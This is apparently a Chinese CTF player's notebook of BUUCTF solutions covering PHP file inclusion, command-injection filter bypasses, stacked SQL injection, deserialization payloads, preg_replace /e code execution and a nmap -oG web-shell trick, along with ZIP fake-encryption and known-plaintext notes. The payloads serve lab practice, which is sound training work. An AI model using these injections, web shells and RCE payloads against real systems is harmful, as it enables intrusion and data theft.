warmUp1
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
mb_strpos():返回要查找的字符串在另一个一个字符串中首次出现的位置
mb_substr() 函数返回字符串的一部分。
这里的payload:
source.php?file=hint.php?/../../../../../ffffllllaaaagggg
hint.php后接了一个问号,这里是防止过waf时hint.php/../../../../../ffffllllaaaagggg整体被waf墙了,用?间隔开,此时判定函数中:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
这一段将截取到hint.php从而绕过waf,否则函数在末尾添加了一个?,导致进入白名单判定的 $page =hint.php/../../../../../ffffllllaaaagggg而不是hint.php,这里进行了两次判定,一次经过了url解码,其实没什么影响,因为不是引用传参,判定的内容都一样。
Include1
文件包含
确认file参数存在文件包含后,不知道flag在哪里,但是发现当前页面就是flag.php。可能得从源码里面看看:
http://{URL}/?file=php://filter/read=convert.base64-encode/resource=flag.php
PING PING PING
发现过了空格、< 、 > {},这里可以直接使用$IFS
这里解释一下:
通常使用${VAR}这种形式可以更清晰地表示变量名的边界。$IFS、$IFS$、${IFS}和${IFS}$都是对环境变量$IFS的引用,但是在特殊的上下文中可能会有微小的差异,但通常情况下它们表达的含义是相同的。
然后发现过滤了flag,通配符?和*也被过滤了
那么可以考虑拼接、内联、编码等方法:
cat$IFS`ls`
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
a=g;cat$IFS$1fla$a.php
# 这里需要使用$IFS$1,可能是解析的时候界限区分问题
随便注
修改表:
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q
预编译:
prepare name from statement;
==》预编译的用处在于statement里面可以使用连接字符拼接语句:
prepare stmt from concat("selec","t flag from `1919810931114514`;");execute stmt;--+-
easysql
根本不easy 枯了
来自:[BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客
输入非零数字得到结果一直是1和而输入其余字符的数据就得不到回显=>来判断出内部的查询语句可能存在有||(即or:或运算)。
payload:1;set sql_mode=pipes_as_concat;select 1
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
payload:*,1
1可以换成任何数字,但不能是其他(原因不知道)这样我们执行的语句就为:
select *,1||flag from Flag
即:
select *,1 from Flag;
第二个方法我觉得应该是select *,TRUE || flag from Flag
Secret File 1
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
这里
stristr(string,search,before_search) 函数搜索字符串在另一字符串中的第一次出现,不区分大小写,默认返回匹配到的字符串及其之后的字符串
before_search 可选。默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。 strstr(string,search,before_search) 函数搜索字符串在另一字符串中的第一次出现。
注释:该函数是二进制安全的。
注释:该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
直接包含flag.php即可,这里防止目录穿越好像就没了意义。。
那就编码一下咯。。
file=php://filter/read=convert.base64-encode/resource=flag.php
HTTP
这里先区分一下:
- Referer(引用页):
- Referer是一个HTTP请求头部字段,用于标识请求来源页面的URL。当浏览器向服务器发起请求时,Referer字段将包含当前请求的上一个页面的URL。
- 这个字段的主要作用是帮助网站和开发者追踪访问来源,了解用户从哪个页面跳转而来。有时也用于防止跨站请求伪造(CSRF)攻击。
- X-Forwarded-For(XFF,代理服务器转发的用户IP地址):
- X-Forwarded-For是一个非标准的HTTP请求头部字段,通常由代理服务器(如负载均衡器、反向代理等)添加到HTTP请求中,用于标识客户端的原始IP地址。
- 当请求通过代理服务器时,代理服务器会将请求发送者的IP地址添加到X-Forwarded-For头部,以便服务器知道请求的真实来源。
- 这对于那些通过代理服务器进行网站访问的情况非常有用,因为它允许服务器获取到实际客户端的IP地址,而不是代理服务器的地址。
最后发包:
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:28318
Cache-Control: max-age=0
X-Forwarded-For:127.0.0.1
Referer:https://Sycsecret.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
*php -大坑
[BUUCTF 极客大挑战 2019]PHP 1_buuojphp1-CSDN博客
拿到源码后,发现是一个反序列化
这里需要主义的是他的类属性是私有类,需要在变量名之前手动添加一个%00,因为打印时不会输出这个null,我们复制传入的时候需要手动添加一下
于此同时url识别不了"
,改为%22
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
这里既然要通过url传递,也可以直接在php中urlencode一下:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
#两个%3A中间的2=》3
Easy Calc1
主要是通过ASCII绕过waf
php中ord把字符串转换为asill,chr反之,它们一次都只能处理一个ascii字符
scandir可以扫描目录,file_get_contents读取文件内容
Easy MD5 1
select * from 'admin' where password=md5($pass,true)
md5(string,raw)
string | 必需。要计算的字符串。 |
---|---|
raw | 可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串 |
ffifdyop
129581926211651571912466741651878684928 也可达同样的效果
总之,相当于 select * from admin where password=’’or ture
这里需要md5值碰撞出包含 ' or '
的值
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), ''or'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
- strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
下一步:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
不管是强类型还是弱类型,md5数组绕过就可以了
AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
pop链子,我们先看看我们需要触发的函数,这里显然时read()中的file_get_content(),以此达到一个文件读取,再往前看:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这里op=2时可以触发read(),再追溯process,发现构造和析构时都调用了,构造函数反序列化时无法触发,只能看析构函数,析构函数我们发现是强等于“2”,那我们传入int 2就可以绕过第一个赋值,故payload:
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="233";
}
$a=new FileHandler;
echo serialize($a);
==>
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";s:3:"233";}
protected属性会在变量名前添加标记%00*%00,所以手动补充一下
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"%00*%00content";s:3:"233";}
发现这里有一个问题,这道题过滤了不可打印字符,%00是null这种不可打印的,所以把类属性改为public:
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
Blacklist
刚开始以为又是随便注
那道题,发现预编译也被ban了,看来只能使用句柄了:
handler `FlagHere` open as p;handler p read first;
使用
handler p read next;
可以接着往下遍历
*Easy Java
第一次遇到文件下载漏洞
[RoarCTF 2019]Easy Java - 春告鳥 - 博客园 (cnblogs.com)
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
后一步
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
这里在bp中读取好像可以直接反编译,使用idea等编译器也可以读取到
phpweb
这道题有两个做法可以绕过黑名单,一个是直接 \exec 这样绕过,第二种则是反序列化。这里之所以可以反序列化主要是他提供了一个类,并且析构时可以调用任意方法,此时我们可以指定它执行反序列化,反序列化时的方法不会受到黑名单影响
*ZJCTF,不过如此
这道题感觉做过,只是next中的函数有变化
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里的漏洞出在preg_replace /e 模式下
e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个(\1=\1),从而我们如果匹配可以,则可以将函数实现。
比如我们传入 ?.=**{${phpinfo()}}*原句:preg_replace(‘/(‘ . $re . ‘)/ei’,’strtolower(“\1”)’,$str); 就变成preg_replace(‘/(‘ .* ‘)/ei’,’strtolower(“\1”)’,{${phpinfo()}});
又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将.换成\s
所有payload:?\S*=${getFlag()}&cmd=system(‘ls /‘);
这里的解释比较麻烦,看看这个:
php代码审计之preg_replace函数_php preg_replace-CSDN博客
姑且记住payload:
\S*=${getFlag()}&cmd=system(‘ls /‘);
回到这道题,payload1:
\S*=${getFlag()}&cmd=system('ls /');
通过preg_replace去调用getFlag函数,进一步传参cmd进行命令执行
payload2:蚁剑连接
\S*=${@eval($_POST[cmd])}
Online Tool 1
函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
参数-oG
可以将命令和结果写到同一个文件上
可以直接传一句话木马
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php '
还有一种做法就是直接把命令改成读取flag文件
?host=' <?php echo `cat /flag`;?> -oG test.php '
禁止套娃
无参数RCE
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
session_id() 可以用来获取/设置 当前会话 ID。
在我们使用 session_id()的时候 需要使用session_start()来开启session会话
我们尝试构造payload
?exp=highlight_file( session_id(session_start()));
session_id(session_start())
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
抓包:
cookie: PHPSESSID=flag.php
misc————
两个部分的flag
有一部分居然在图片属性里面
steghide没能提取png的信息,zsteg直接就出来了
压缩文件的快乐
这里补充一下伪加密:
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了,当数字为奇数是为加密,为偶数时不加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
我们一般修改的是50 4B 01 02 14 00 01 00 ==》50 4B 01
02 14 00 00
00
这道题修改伪加密后解压软件报错的话,换成WinRAR或者检查修改位置是否正确
最后使用明文攻击:
我们为zip压缩文件所设定的密码,首先被转换成3个32bit的key,所以可能的key的组合是2^96,这是个天文数字
如果用暴力穷举的方式是不太可能的,除非你的密码比较短或者有个厉害的字典。
压缩软件用这3个key加密所有包中的文件,也就是说,所有文件的key是一样的,如果我们能够找到这个key,就能解开所有的文件。
如果我们找到加密压缩包中的任意一个文件,这个文件和压缩包里的文件是一样的
我们把这个文件用同样的压缩软件同样的压缩方式进行无密码的压缩,得到的文件就是我们的Known plaintext(已知明文)。
用这个无密码的压缩包和有密码的压缩包进行比较,分析两个包中相同的那个文件,抽取出两个文件的不同点,就是那3个key了,如此就能得到key。
两个相同文件在压缩包中的字节数应该相差12个byte,就是那3个key了。虽然我们还是无法通过这个key还原出密码,
但是我们已经可以用这个key解开所有的文件,所以已经满足我们的要求了,毕竟对我们而言,得到解压后的文件比得到密码本身更重要。